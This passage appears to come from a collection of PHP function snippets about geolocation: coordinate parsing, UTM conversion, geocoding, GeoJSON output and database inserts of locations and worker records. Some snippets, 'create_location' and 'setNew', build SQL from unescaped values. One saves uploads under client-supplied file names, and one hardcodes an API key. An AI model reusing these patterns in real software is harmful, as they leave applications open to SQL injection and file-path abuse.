array_shift($this->pieces),\n\t\t\t\t$this->londeg = array_shift($this->pieces),\n\t\t\t\t$lonmin = array_shift($this->pieces),\n\t\t\t\t$lonEW = array_shift($this->pieces));\n\t\t\t$latsec = $lonsec = 0;\n\t\t} elseif ($this->is_coor($this->pieces[3],$this->pieces[7])) {\n\t\t\t$this->coor = array(\n\t\t\t\t$this->latdeg = array_shift($this->pieces),\n\t\t\t\t$latmin = array_shift($this->pieces),\n\t\t\t\t$latsec = array_shift($this->pieces),\n\t\t\t\t$latNS = array_shift($this->pieces),\n\t\t\t\t$this->londeg = array_shift($this->pieces),\n\t\t\t\t$lonmin = array_shift($this->pieces),\n\t\t\t\t$lonsec = array_shift($this->pieces),\n\t\t\t\t$lonEW = array_shift($this->pieces));\n\t\t} else {\n\t\t\t# support decimal, signed lat, lon\n\t\t\t$this->error = \"Unrecognized format\";\n\t\t\tprint $this->error ;\n\t\t}\n\t\t\n\t\n\t\tif ($this->latdeg > 90 or $this->latdeg < -90\n\t\t or $this->londeg > 180 or $this->londeg < -180\n\t\t or $latmin > 60 or $latmin < 0\n\t\t or $lonmin > 60 or $lonmin < 0\n\t\t or $latsec > 60 or $latsec < 0\n\t\t or $lonsec > 60 or $lonsec < 0) {\n\t\t\t$this->error = \"Out of range\";\n\t\t}\n\n\t\t$latfactor = 1.0 ;\n\t\t$lonfactor = 1.0 ;\n\t\tif (strtoupper($latNS) == \"S\") {\n\t\t\t$latfactor = -1.0 ;\n\t\t\t#$this->latdeg = -$this->latdeg;\n\t\t}\n\n\t\tif (strtoupper($lonEW) == \"W\") {\n\t\t\t$lonfactor = -1.0 ;\n\t\t\t#$this->londeg = -$this->londeg;\n\t\t}\n\n\t\t# Make decimal degree, if not already\n\t\t$latmin += $latsec/60.0;\n\t\t$lonmin += $lonsec/60.0;\n\t\tif ($this->latdeg < 0) {\n\t\t\t$this->latdeg -= $latmin/60.0;\n\t\t} else {\n\t\t\t$this->latdeg += $latmin/60.0;\n\t\t}\n\t\tif ($this->londeg < 0) {\n\t\t\t$this->londeg -= $lonmin/60.0;\n\t\t} else {\n\t\t\t$this->londeg += $lonmin/60.0;\n\t\t}\n\t\t$this->latdeg *= $latfactor ;\n\t\t$this->londeg *= $lonfactor ;\n\t}", "function getCoordonnees($adresse){\n $apiKey = \"000824788445984525451:fkamkqgo6se\";//Indiquez ici votre clé Google maps !\n $url = \"http://maps.google.com/maps/geo?q=\".urlencode($adresse).\"&output=csv&key=\".$apiKey;\n\n $csv = file($url);\n $donnees = explode(\",\",$csv[0]); \n\t$t = array($donnees[2],$donnees[3]);\n\t\n return $t;\n\t}", "function getCoordonnees($adresse){\n $apiKey = \"000824788445984525451:fkamkqgo6se\";//Indiquez ici votre clé Google maps !\n $url = \"http://maps.google.com/maps/geo?q=\".urlencode($adresse).\"&output=csv&key=\".$apiKey;\n\n $csv = file($url);\n $donnees = explode(\",\",$csv[0]); \n\t$t = array($donnees[2],$donnees[3]);\n\t\n return $t;\n\t}", "function geodetictoutm($lat, $lon) {\r\n\r\n $sm_a = 6378137.0;\r\n $sm_b = 6356752.314;\r\n $sm_EccSquared = 0.000669437999013;\r\n $UTMScaleFactor = 0.9996;\r\n\r\n // get UTM XY from Lat Lon\r\n $zone = floor(($lon + 180.0) / 6) + 1;\r\n\r\n // Compute the UTM zone\r\n $phi = $lat / 180 * Pi();\r\n $lambda = $lon / 180 * Pi();\r\n $lambda0 = (-183 + ($zone * 6))/ 180 * Pi(); //center merdian\r\n\r\n // Precalculate ep2\r\n $ep2 = (pow($sm_a,2) - pow($sm_b,2) ) / pow($sm_b,2);\r\n\r\n // Precalculate nu2\r\n $nu2 = $ep2 * pow(cos($phi),2);\r\n\r\n // Precalculate N\r\n $N = pow($sm_a,2) / ($sm_b * sqrt(1 + $nu2));\r\n\r\n // Precalculate t\r\n $t = tan ($phi);\r\n $t2 = $t * $t;\r\n $tmp = pow($t2,3) - pow($t,6);\r\n\r\n // Precalculate l\r\n $l = $lambda - $lambda0;\r\n\r\n //Precalculate coefficients for l**n in the equations below\r\n //so a normal human being can read the expressions for easting and northing\r\n\r\n $l3coef = 1 - $t2 + $nu2;\r\n $l4coef = 5 - $t2 + 9 * $nu2 + 4 * ($nu2 * $nu2);\r\n $l5coef = 5 - 18 * $t2 + ($t2 * $t2) + 14 * $nu2 - 58 * $t2 * $nu2;\r\n $l6coef = 61 - 58 * $t2 + ($t2 * $t2) + 270 * $nu2 - 330 * $t2 * $nu2;\r\n $l7coef = 61 - 479 * $t2 + 179 * ($t2 * $t2) - ($t2 * $t2 * $t2);\r\n $l8coef = 1385 - 3111 * $t2 + 543 * ($t2 * $t2) - ($t2 * $t2 * $t2);\r\n\r\n // ArcLengthOfMeridian\r\n //Precalculate n\r\n $n2 = ($sm_a - $sm_b) / ($sm_a + $sm_b);\r\n //Precalculate alpha\r\n $alpha = (($sm_a + $sm_b) / 2) * (1 + (pow($n2,2) / 4) + (pow($n2,4) / 64));\r\n //Precalculate beta\r\n $beta = (-3 * $n2 / 2) + (9 * pow($n2,3) / 16) + (-3 * pow($n2,5) / 32);\r\n //Precalculate gamma\r\n $gamma = (15 * pow($n2,2) / 16) + (-15 * pow($n2,4) / 32);\r\n //Precalculate delta\r\n $delta = (-35 * pow($n2,3) / 48) + (105 * pow($n2,5) / 256);\r\n //Precalculate epsilon\r\n $epsilon = (315 * pow($n2,4) / 512);\r\n //Now calculate the sum of the series and return\r\n $ArcLengthOfMeridian = $alpha * ($phi + ($beta * sin(2 * $phi)) + ($gamma * sin(4 * $phi)) + ($delta * sin (6 * $phi)) + ($epsilon * sin(8 * $phi)));\r\n\r\n //Calculate easting(x)\r\n $x = $N * cos($phi) * $l\r\n + ($N / 6 * pow(cos($phi),3) * $l3coef * pow($l,3))\r\n + ($N / 120 * pow(cos($phi),5) * $l5coef * pow($l,5))\r\n + ($N / 5040 * pow(cos($phi),7) * $l7coef * pow($l,7));\r\n\r\n //Calculate northing(y)\r\n $y = $ArcLengthOfMeridian\r\n + ($t / 2 * $N * pow(cos($phi),2) * pow($l,2))\r\n + ($t / 24 * $N * pow(cos($phi),4) * $l4coef * pow($l,4))\r\n + ($t / 720 * $N* pow(cos($phi),6) * $l6coef * pow($l,6))\r\n + ($t / 40320 * $N * pow(cos($phi),8) * $l8coef * pow($l,8));\r\n\r\n\r\n $x = $x * $UTMScaleFactor + 500000;\r\n $y = $y * $UTMScaleFactor;\r\n\r\n //print_r(get_defined_vars ( ));die;\r\n return array($x, $y, $zone);\r\n\r\n}", "static public function ctrCrearTipoGaleria(){\n\t\tif(isset($_POST[\"accionTipoGaleria\"]) && $_POST[\"accionTipoGaleria\"] == \"crear\"){\n\t\t\t$fecha = date('Y-m-d');\n\t\t\t$hora = date('H:i:s');\n\t\t\t$fechaActual = $fecha.' '.$hora;\t\t\t\n\t\t\t$tabla = 'vtade_galeria';\n\t\t\t$codGaleria = $_POST[\"codigoGaleria\"];\n\t\t\t$rutaGlobal = realpath(dirname(__FILE__));\n\t\t\t$rutaGlobal = rutaGlobal($rutaGlobal);\n\t\t\t$arrayImagen = [];\n\t\t\t$numLineaImagen = [];\n\t\t\t$arrayUsrRegistro = [];\n\t\t\t$arrayFchRegistro = [];\n\t\t\tif($_FILES[\"imagenTipoGaleria\"][\"tmp_name\"][0] != ''){\n\t\t\t\t$item = \"cod_galeria\";\n\t\t\t\t$valor = $codGaleria;\n\t\t\t\t$entrada = \"maximoNumLineaXGaleria\";\n\t\t\t\t$maxNumLinea = ControladorGaleria::ctrMostrarGaleriaDetalle($item,$valor,$entrada);\n\t\t\t\tfor ($i=0; $i < count($_FILES[\"imagenTipoGaleria\"][\"tmp_name\"]) ; $i++) {\n\t\t\t\t\t$fileImagen = $_FILES[\"imagenTipoGaleria\"];\n\t\t\t\t\t$nombreImagen = $codGaleria.\"-\".($i+1+(int)$maxNumLinea[\"maximo\"]).\"-\".ms_escape_string(trim($fileImagen[\"name\"][$i]));\n\t\t\t\t\tarray_push($arrayImagen,$nombreImagen);\n\t\t\t\t\tarray_push($numLineaImagen, $i+1+(int)$maxNumLinea[\"maximo\"]);\n\t\t\t\t\tarray_push($arrayUsrRegistro,$_SESSION[\"cod_trabajador\"]);\n\t\t\t\t\tarray_push($arrayFchRegistro,$fechaActual);\n\t\t\t\t}//for\n\t\t\t\t$respuesta = ModeloGaleria::mdlIngresarTipoGaleria($tabla,$numLineaImagen,$arrayImagen,$arrayUsrRegistro,$arrayFchRegistro,$codGaleria);\n\t\t\t\tif($respuesta == \"ok\"){\n\t\t\t\t\tfor ($i=0; $i < count($_FILES[\"imagenTipoGaleria\"][\"tmp_name\"]) ; $i++) {\n\t\t\t\t\t\t$nombreImagen = $codGaleria.\"-\".($i+1+(int)$maxNumLinea[\"maximo\"]).\"-\".trim(utf8_decode($fileImagen[\"name\"][$i]));\n\t\t\t\t\t\t$ruta = $rutaGlobal.\"/archivos/galeria/\".$nombreImagen;\n\t\t\t\t\t\tmove_uploaded_file($fileImagen[\"tmp_name\"][$i], $ruta);\n\t\t\t\t\t}//for\n\t\t\t\t}\n\t\t\t\treturn $respuesta;\n\t\t\t}//if\t\t\t\n\t\t}//if\n\t}", "public function postLocation($newLocation): object\n {\n try {\n $db = $this->dbConnect();\n $req = $db->prepare('INSERT INTO `location`(location_name, latitude, longitude, title, content, cover_img, creation_date) \n VALUES( :location_name, :latitude, :longitude, :title, :content, :cover_img, NOW())');\n\n $req->execute(array(\n 'location_name' => $newLocation->__toString(),\n 'latitude' => $newLocation->getLatitude(),\n 'longitude' => $newLocation->getLongitude(),\n 'title' => $newLocation->getTitle(),\n 'content' => $newLocation->getContent(),\n 'cover_img' => $newLocation->getCoverImg()\n ));\n\n /* Récupérer la valeur ID pour les lignes insérées sur l'objet $pdo*/\n $id_nouveau = $db->lastInsertId();\n $newLocation->setId($id_nouveau);\n\n $sql = 'INSERT INTO `location_urls` (location_id, location_url) VALUES ';\n\n $insertQuery = array();/* Insérer requête [] */\n $insertData = array(); /* Insérer données [] */\n $n = 0;\n foreach ($newLocation->getImages() as $image) {\n $insertQuery[] = '(:location_id' . $n . ', :location_url' . $n . ')';\n $insertData['location_id' . $n] = $newLocation->getId();\n $insertData['location_url' . $n] = $image; /*ce que je récupère en html*/\n $n++;\n }\n\n if (!empty($insertQuery)) {\n $sql .= implode(', ', $insertQuery); /* On insère la requête dans la méthode implode()*/\n $stmt = $db->prepare($sql);\n $stmt->execute($insertData);\n }\n return $req;\n } catch (\\PDOException $exception) {\n var_dump($db->errorInfo());\n die('Erreur : ' . $exception->getMessage());\n }\n }", "function crear_trabajador($mysqli, $id_usuario, $calle_trabajador, $numero_trabajador, $colonia_trabajador, $correo_trabajador, $telefono_trabajador, $tipo_telefono_trabajador, $lada_trabajador, $ciudad, $estado, $municipio)\n {\n $estatus = 1;//Por defecto los trabajadores estan activos\n\n //Encrypta los datos privados\n $correo_trabajador = encrypt_string($correo_trabajador);\n $calle_trabajador = encrypt_string($calle_trabajador);\n $numero_trabajador = encrypt_string($numero_trabajador);\n $colonia_trabajador = encrypt_string($colonia_trabajador);\n $telefono_trabajador = encrypt_string($telefono_trabajador);\n\n //******Alta del trabajador******\n $stmt = $mysqli->prepare(\"INSERT INTO `trabajador`(`id_trabajador`, `id_usuario`, `estatus`, `fecha_creacion`, `ultima_modificacion`)\n \t\t\t\t\t\t\t\t\t\t\t\t\tVALUES\n \t\t\t\t\t\t\t\t\t\t\t\t\t(NULL,?,?,now(),now())\");\n\n //Indica a la base de datos que recibira 2 integer correspoendietes a los signos de ? en el query\n $stmt->bind_param(\"ii\", $id_usuario, $estatus);\n\n //Ejecuta el query\n $stmt->execute();\n\n //Toma el ID del insert recien hecho\n $nuevo_id_trabajador = $mysqli->insert_id;\n\n //Cierra el query\n $stmt->close();\n\n\n\n //******Relacion del trabajador con correo_electronico******\n $stmt = $mysqli->prepare(\"INSERT INTO `correo_electronico`(`id_correo_electronico`, `correo_electronico`, `estatus`, `fecha_creacion`, `ultima_modificacion`)\n \t\t\t\t\t\t\t\t\t\t\t\t\tVALUES\n \t\t\t\t\t\t\t\t\t\t\t\t\t(NULL,?,?,now(),now())\");\n\n //Indica a la base de datos que recibira 1 string y 1 integer correspoendietes a los signos de ? en el query\n $stmt->bind_param(\"si\", $correo_trabajador, $estatus);\n\n //Ejecuta el query\n $stmt->execute();\n\n\t//Toma el ID del insert recien hecho\n $nuevo_id_correo_electronico = $mysqli->insert_id;\n\n //Cierra el query\n $stmt->close();\n\n\n\n //******Relacion del correo_electronico con trabajador_correo******\n $stmt = $mysqli->prepare(\"INSERT INTO `trabajador_correo`(`id_trabajador_correo`, `id_trabajador`, `id_correo_electronico`, `estatus`, `fecha_creacion`, `ultima_modificacion`)\n \t\t\t\t\t\t\t\t\t\t\t\t\tVALUES\n \t\t\t\t\t\t\t\t\t\t\t\t\t(NULL,?,?,?,now(),now())\");\n\n //Indica a la base de datos que recibira 3 integer correspoendietes a los signos de ? en el query\n $stmt->bind_param(\"iii\", $nuevo_id_trabajador, $nuevo_id_correo_electronico, $estatus);\n\n //Ejecuta el query\n $stmt->execute();\n\n //Cierra el query\n $stmt->close();\n\n\n\n //******Relacion del trabajador con su domicilio******\n $stmt = $mysqli->prepare(\"INSERT INTO `domicilio`(`id_domicilio`, `calle`, `numero`, `colonia`, `estatus`, `fecha_creacion`, `ultima_modificacion`)\n \t\t\t\t\t\t\t\t\t\t\t\t\tVALUES\n \t\t\t\t\t\t\t\t\t\t\t\t\t(NULL,?,?,?,?,now(),now())\");\n\n //Indica a la base de datos que recibira 3 String y 1 integer correspondientes a los signos de ? en el query\n $stmt->bind_param(\"sssi\", $calle_trabajador, $numero_trabajador, $colonia_trabajador, $estatus);\n\n //Ejecuta el query\n $stmt->execute();\n\n\t//Toma el ID del insert recien hecho\n $nuevo_id_domicilio = $mysqli->insert_id;\n\n //Cierra el query\n $stmt->close();\n\n\n\n\t //******Relacion de domicilio con trabajador_domicilio******\n $stmt = $mysqli->prepare(\"INSERT INTO `trabajador_domicilio`(`id_trabajador_domicilio`, `id_trabajador`, `id_domicilio`, `estatus`, `fecha_creacion`, `ultima_modificacion`)\n \t\t\t\t\t\t\t\t\t\t\t\t\tVALUES\n \t\t\t\t\t\t\t\t\t\t\t\t\t(NULL,?,?,?,now(),now())\");\n\n //Indica a la base de datos que recibira 3 integer correspondientes a los signos de ? en el query\n $stmt->bind_param(\"iii\", $nuevo_id_trabajador, $nuevo_id_domicilio, $estatus);\n\n //Ejecuta el query\n $stmt->execute();\n\n //Cierra el query\n $stmt->close();\n\n\n\n\t //******Relacion del trabajador con su telefono******\n $stmt = $mysqli->prepare(\"INSERT INTO `telefono`(`id_telefono`, `telefono`, `tipo_telefono`, `lada`, `estatus`, `fecha_creacion`, `ultima_modificacion`)\n \t\t\t\t\t\t\t\t\t\t\t\t\tVALUES\n \t\t\t\t\t\t\t\t\t\t\t\t\t(NULL,?,?,?,?,now(),now())\");\n\n //Indica a la base de datos que recibira 1 String y 3 integer correspondientes a los signos de ? en el query\n $stmt->bind_param(\"siii\", $telefono_trabajador, $tipo_telefono_trabajador, $lada_trabajador, $estatus);\n\n //Ejecuta el query\n $stmt->execute();\n\n\t//Toma el ID del insert recien hecho\n $nuevo_id_telefono = $mysqli->insert_id;\n\n //Cierra el query\n $stmt->close();\n\n\n\n\t //******Relacion del telefono con su trabajador_telefono******\n $stmt = $mysqli->prepare(\"INSERT INTO `trabajador_telefono`(`id_trabajador_telefono`, `id_trabajador`, `id_telefono`, `estatus`, `fecha_creacion`, `ultima_modificacion`)\n \t\t\t\t\t\t\t\t\t\t\t\t\tVALUES\n \t\t\t\t\t\t\t\t\t\t\t\t\t(NULL,?,?,?,now(),now())\");\n\n //Indica a la base de datos que recibira 3 integer correspondientes a los signos de ? en el query\n $stmt->bind_param(\"iii\", $nuevo_id_trabajador, $nuevo_id_telefono, $estatus);\n\n //Ejecuta el query\n $stmt->execute();\n\n //Cierra el query\n $stmt->close();\n\n\t\n\t//relacion de usuario con estado\n\t$stmt = $mysqli->prepare(\"INSERT INTO `usuario_estado`(`id_usuario_estado`, `id_usuario`, `id_estado`, `estatus`, `fecha_creacion`, `ultima_modificacion`) VALUES (NULL, ?, ?, ?, now(), now())\");\n\t$estado = 4;\n\t$stmt->bind_param(\"iii\", $id_usuario, $estado, $estatus);\n\t\n\t$stmt->execute();\n\n\t//Cierra el query\n\t$stmt->close();\n\t\n\t\n\t//relacion de usuario con municipio\n\t$stmt = $mysqli->prepare(\"INSERT INTO `usuario_municipio`(`id_usuario_municipio`, `id_usuario`, `id_municipio`, `ciudad`, `estatus`, `fecha_creacion`, `ultima_modificacion`) VALUES (NULL, ?, ?, ?, ?, now(), now())\");\n\t\n\t$stmt->bind_param(\"iisi\", $id_usuario, $municipio, $ciudad, $estatus);\n\t\n\t$stmt->execute();\n\n\t//Cierra el query\n\t$stmt->close();\n\t\n\t\n\n return $nuevo_id_trabajador;\n }", "function fairecarte($latitude,$longitude){\n $content=file_get_contents(template_carte);\n $content = str_replace('###longitude###',$longitude,$content);\n $content = str_replace('###latitude###',$latitude,$content);\n return $content;\n}", "public function appendGeoJson(){\n\t\t//This might be made dynamic in the future, not sure yet.\n\t\t$table = \"BroDeployOverseas\"; // do be used later if tables need to be dynamic\n\t\t//Query that sums up all the regions' data.\n\t\t$query = \"Select Avg(BroDeployOverseas.regworkpercentcompleted) as regworkpercentcompleted, \n\t\t\tAvg(bandwidth.capacity) as Bcapacity,\n\t\t\tAvg(BroDeployOverseas.vsenpercentcompleted) as vsenpercentcompleted, BroDeployOverseas.region \n\t\t\tfrom public.BroDeployOverseas, public.bandwidth\n\t\t\tWhere BroDeployOverseas.region = bandwidth.region \n\t\t\tOR BroDeployOverseas.post = bandwidth.post\n\t\t\tGroup By BroDeployOverseas.region;\";\n\n\t\t$result = $this->connectPG($query);\t\t\t\n\t\t$rows = pg_fetch_all($result);\n\n\t\t$filename1 = \"js/geometry/dos_region_None.geojson\";\n\t\t$jsonStr1 = file_get_contents($filename1);\n\t\t$jsonObj1 = json_decode($jsonStr1);\n\t\t//var_dump($jsonObj1);\n\n\t\tif(file_exists($filename1)){\t\t\t\n\t\t\tforeach($jsonObj1->features as $metrodata){\n\t\t\t\tforeach($rows as $dbData){ // Can't think of a better way to do this than O(N^2)\t\t\t\t\n\t\t\t\t\tif($metrodata->properties->dos_region == trim($dbData['region'])){\n\t\t\t\t\t\tif(isset($dbData['regworkpercentcompleted'])){\n\t\t\t\t\t\t\t$metrodata->properties->regworkpercentcompleted = round($dbData['regworkpercentcompleted'],2);\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$metrodata->properties->regworkpercentcompleted = 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(isset($dbData['vsenpercentcompleted'])){\n\t\t\t\t\t\t\t$metrodata->properties->vsenpercentcompleted = round($dbData['vsenpercentcompleted'],2);\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$metrodata->properties->vsenpercentcompleted = 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(isset($dbData['bcapacity'])){\n\t\t\t\t\t\t\t$metrodata->properties->capacity = round($dbData['bcapacity'],2);\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$metrodata->properties->capacity = 0;\n\t\t\t\t\t\t}\t\t\t\t\t\t\n\t\t\t\t\t}else{\t\t\t\t\t\n\t\t\t\t\t\t//error_log($dbData['region']);\n\t\t\t\t\t\t//error_log($metrodata->properties->dos_region);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\t\t\t\n\t\t\t$jsonStr1 = json_encode($jsonObj1);\n\t\t\t//error_log($jsonStr1);\n\t\t\t$cleanJsonStr = json_decode($jsonStr1);\n\n\t\t\t//Validate the JSON\n\t\t\tif($cleanJsonStr === NULL){\n\t\t\t\terror_log(\"There is an issue with your json in appendJson().\\n\");\n\t\t\t}else{\n\t\t\t\t//error_log(\"JSON is correct\");\n\t\t\t\treturn $jsonStr1;\n\t\t\t}\n\t\t}else{\n\t\t\terror_log(\"File: \".$filename1.\" does not exist in appendJson().\\n\");\n\t\t}\n\t}", "private function trovaRegione($provincia) {\r\n switch ($provincia) {\r\n case 'CHIETI':\r\n case 'PESCARA':\r\n case \"L'AQUILA\":\r\n case 'TERAMO':\r\n $regione = 'ABRUZZO';\r\n break;\r\n case 'MATERA':\r\n case 'POTENZA':\r\n $regione = 'BASILICATA';\r\n break;\r\n case 'CATANZARO':\r\n case 'COSENZA':\r\n case 'CROTONE':\r\n case 'REGGIO DI CALABRIA':\r\n case 'VIBO VALENTIA':\r\n $regione = 'CALABRIA';\r\n break;\r\n case 'AVELLINO':\r\n case 'BENEVENTO':\r\n case 'CASERTA':\r\n case 'NAPOLI':\r\n case 'SALERNO':\r\n $regione = 'CAMPANIA';\r\n break;\r\n case 'BOLOGNA':\r\n case 'FERRARA':\r\n case 'FORLI’-CESENA':\r\n case 'MODENA':\r\n case 'PARMA':\r\n case 'PIACENZA':\r\n case 'RAVENNA':\r\n case \"REGGIO NELL'EMILIA\":\r\n case 'RIMINI':\r\n $regione = 'EMILIA ROMAGNA';\r\n break;\r\n case 'GORIZIA':\r\n case 'PORDENONE':\r\n case 'TRIESTE':\r\n case 'UDINE':\r\n $regione = 'FRIULI VENEZIA GIULIA';\r\n break;\r\n case 'FROSINONE':\r\n case 'LATINA':\r\n case 'RIETI':\r\n case 'ROMA':\r\n case 'VITERBO':\r\n $regione = 'LAZIO';\r\n break;\r\n case 'GENOVA':\r\n case 'IMPERIA':\r\n case 'LA SPEZIA':\r\n case 'SAVONA':\r\n $regione = 'LIGURIA';\r\n break;\r\n case 'BERGAMO':\r\n case 'BRESCIA':\r\n case 'COMO':\r\n case 'CREMONA':\r\n case 'LECCO':\r\n case 'LODI':\r\n case 'MANTOVA':\r\n case 'MILANO':\r\n case 'MONZA E DELLA BRIANZA':\r\n case 'PAVIA':\r\n case 'SONDRIO':\r\n case 'VARESE':\r\n $regione = 'LOMBARDIA';\r\n break;\r\n case 'ANCONA':\r\n case 'ASCOLI PICENO':\r\n case 'FERMO':\r\n case 'MACERATA':\r\n case 'PESARO E URBINO':\r\n $regione = 'MARCHE';\r\n break;\r\n case 'CAMPOBASSO':\r\n case 'ISERNIA':\r\n $regione = 'MOLISE';\r\n break;\r\n case 'ALESSANDRIA':\r\n case 'ASTI':\r\n case 'BIELLA':\r\n case 'CUNEO':\r\n case 'NOVARA':\r\n case 'TORINO':\r\n case 'VERBANO-CUSIO-OSSOLA':\r\n case 'VERCELLI':\r\n $regione = 'PIEMONTE';\r\n break;\r\n case 'BARI':\r\n case 'BARLETTA-ANDRIA-TRANI':\r\n case 'BRINDISI':\r\n case 'FOGGIA':\r\n case 'LECCE':\r\n case 'TARANTO':\r\n $regione = 'PUGLIA';\r\n break;\r\n case 'CAGLIARI':\r\n case 'CARBONIA-IGLESIAS':\r\n case 'MEDIO CAMPIDANO':\r\n case 'NUORO':\r\n case 'OGLIASTRA':\r\n case 'OLBIA-TEMPIO':\r\n case 'ORISTANO':\r\n case 'SASSARI':\r\n $regione = 'SARDEGNA';\r\n break;\r\n case 'AGRIGENTO':\r\n case 'CALTANISSETTA':\r\n case 'CATANIA':\r\n case 'ENNA':\r\n case 'MESSINA':\r\n case 'PALERMO':\r\n case 'RAGUSA':\r\n case 'SIRACUSA':\r\n case 'TRAPANI':\r\n $regione = 'SICILIA';\r\n break;\r\n case 'AREZZO':\r\n case 'FIRENZE':\r\n case 'GROSSETO':\r\n case 'LIVORNO':\r\n case 'LUCCA':\r\n case 'MASSA-CARRARA':\r\n case 'PISA':\r\n case 'PISTOIA':\r\n case 'PRATO':\r\n case 'SIENA':\r\n $regione = 'TOSCANA';\r\n break;\r\n case 'BOLZANO':\r\n case 'TRENTO':\r\n $regione = 'TRENTINO ALTO ADIGE';\r\n break;\r\n case 'PERUGIA':\r\n case 'TERNI':\r\n $regione = 'UMBRIA';\r\n break;\r\n case 'AOSTA':\r\n $regione = \"VALLE D'AOSTA\";\r\n break;\r\n case 'BELLUNO':\r\n case 'PADOVA':\r\n case 'ROVIGO':\r\n case 'TREVISO':\r\n case 'VENEZIA':\r\n case 'VERONA':\r\n case 'VICENZA':\r\n $regione = 'VENETO';\r\n break;\r\n }\r\n return $regione;\r\n }", "function mapit_get_voting_areas_geometry($ary, $polygon_type = null) {\n global $mapit_client;\n $params = func_get_args();\n $result = $mapit_client->call('MaPit.get_voting_areas_geometry', $params);\n return $result;\n}", "function create_location($connection , $organization_id , $primary , $address , $city , $state , $zip , $latitude , $longitude , $email1 = \"\", $email2 = \"\", $phone1 = \"\", $phone2 = \"\")\n{\n\t$sql = \"insert into organization_location set organization_id ={$organization_id}, primary ={$primary}, address ='{$address}', city ='{$city}', state ='{$state}', zip ='{$zip}', latitude = {$latitude}, longitude = {$longitude}, modified_time = now()\";\n\tif($email1 != \"\")\n\t\t$sql = $sql.\", email1 = '{$email1}'\";\n\tif($email2 != \"\")\n\t\t$sql = $sql.\", email2 = '{$email2}'\";\n\tif($phone1 != \"\")\n\t\t$sql = $sql.\", phone1 = '{$phone1}'\";\n\tif($phone2 != \"\")\n\t\t$sql = $sql.\", phone2 = '{$phone2}'\";\n\t$db_selected = mysql_select_db(Secure::DB_DATABASE, $connection);\n\n\tif(!($resource = @ mysql_query($sql, $connection)))\n\t\tshowerror();\n\t\t//echo $sql;\n\telse\n\t{\n\t\tif(!($return_values = @ mysql_query(\"select location_id from organization_location order by location_id DESC limit 1\", $connection)))\n\t\t\tshowerror();\n\t\telse\n\t\t{\n\t\t\t$return = mysql_fetch_array($return_values);\n\t\t\treturn $return[0];\n\t\t}\n\t}\n}", "function setNew($nombre, $numero = false, $ultimo_socio = false, $region = 99, $sucursal = false,\n\t\t\t$codigo_postal = false, $localidad = false, $estado = false, $municipio = false ){\n\t\t$sql = \"INSERT INTO socios_cajalocal\n\t\t\t\t(idsocios_cajalocal, descripcion_cajalocal, ultimosocio, region, sucursal, codigo_postal, localidad, estado, municipio)\n\t\t\t VALUES($numero, '$nombre', $ultimo_socio, $region, '$sucursal', $codigo_postal, '$localidad', '$estado', '$municipio')\";\n\t\t$x\t= my_query($sql);\n\t}", "public function run()\n {\n SpatialData::create([\n 'name'=> 'Sungai Multi Poly',\n 'restricted_area'=> '12947812382132',\n 'island' => 'Kalimantan',\n 'province' => 'Kal-Tim',\n 'city' => 'Berau',\n 'type'=> 'HTI',\n 'desc'=> 'data HTI terjadi',\n 'created_by'=> 1,\n\t\t\t'polygon' => DB::raw(\"GeomFromText('MultiPolygon(((-1.616370229185304 122.06281392665862,-1.6142618541833404 122.06148192665738,-1.6124338541816379 122.06006242665605,-1.6087869791782414 122.05716767665335,-1.6067961041763874 122.05555230165186,-1.6035746041733872 122.05293442664941,-1.6018551041717857 122.05149330164807,-1.5992939791694005 122.04899492664575,-1.594361729164807 122.04421492664129,-1.5907962291614863 122.04126292663854,-1.5856832291567244 122.03705417663463,-1.5841088541552582 122.03610555163374,-1.5768066041484574 122.03181330162974,-1.5741193541459548 122.03034267662838,-1.5725089791444549 122.029931926628,-1.5711247291431658 122.0296248016277,-1.568103354140352 122.02947905162758,-1.5673707291396697 122.02953042662762,-1.565055104137513 122.02980117662787,-1.5627123541353312 122.03002542662807,-1.5540914791273024 122.02995630162802,-1.5473702291210427 122.0298303016279,-1.5434443541173863 122.03000967662807,-1.5361534791105962 122.03013280162818,-1.5333402291079763 122.03020517662824,-1.531929104106662 122.03043592662846,-1.5294597291043623 122.03081892662881,-1.527216479102273 122.03110117662908,-1.526637604101734 122.03125780162922,-1.525353354100538 122.0317635516297,-1.51719522909294 122.03476230163248,-1.5110088540871784 122.0371333016347,-1.5097516040860075 122.03743355163498,-1.5059978540825116 122.03835730163584,-1.501945854078738 122.0393934266368,-1.5009779790778366 122.03953592663693,-1.5000009790769266 122.03961980163702,-1.4972607290743745 122.04100980163831,-1.4963923540735657 122.04126930163855,-1.4952798540725298 122.04137667663865,-1.4945108540718135 122.04139067663866,-1.4939048540712492 122.04146517663874,-1.4929551040703646 122.04171717663897,-1.4922857290697413 122.04179242663903,-1.4913902290689072 122.04182767663907,-1.4904039790679888 122.0413326766386,-1.4887209790664213 122.04022355163758,-1.4867572290645925 122.03870005163616,-1.4841782290621905 122.03651592663412,-1.4827212290608336 122.03537505163305,-1.4809928540592239 122.03365530163146,-1.4794541040577909 122.03164080162958,-1.4788928540572681 122.0306954266287,-1.4783768540567876 122.02997867662803,-1.477879229056324 122.0295139266276,-1.4751102290537452 122.02733917662557,-1.4747209790533828 122.02677030162505,-1.4743949790530793 122.02610980162443,-1.4739149790526322 122.0247986766232,-1.4737607290524886 122.02379392662228,-1.4730723540518473 122.02170805162034,-1.4719492290508014 122.01832155161718,-1.471225104050127 122.01753705161644,-1.470799854049731 122.01714005161608,-1.4701302290491074 122.0166414266156,-1.4695238540485427 122.01621117661522,-1.4678591040469922 122.01523955161431,-1.4656786040449614 122.0144756766136,-1.4631093540425686 122.01376030161293,-1.4607299790403527 122.01322642661243,-1.4588753540386254 122.01281455161205,-1.456333354036258 122.01251042661177,-1.454098979034177 122.0126605516119,-1.4514308540316923 122.01329442661249,-1.4492963540297044 122.01424530161339,-1.4477771040282894 122.0152374266143,-1.446520479027119 122.017052926616,-1.4455354790262016 122.01911680161791,-1.4447764790254949 122.02129480161994,-1.4443526040251 122.02421430162266,-1.4439013540246797 122.02666555162494,-1.443867229024648 122.03149355162944,-1.4436336040244304 122.03506442663277,-1.4437976040245832 122.03802680163552,-1.443499979024306 122.03999742663737,-1.4428497290237003 122.0426096766398,-1.4423171040232043 122.04482180164186,-1.44108822902206 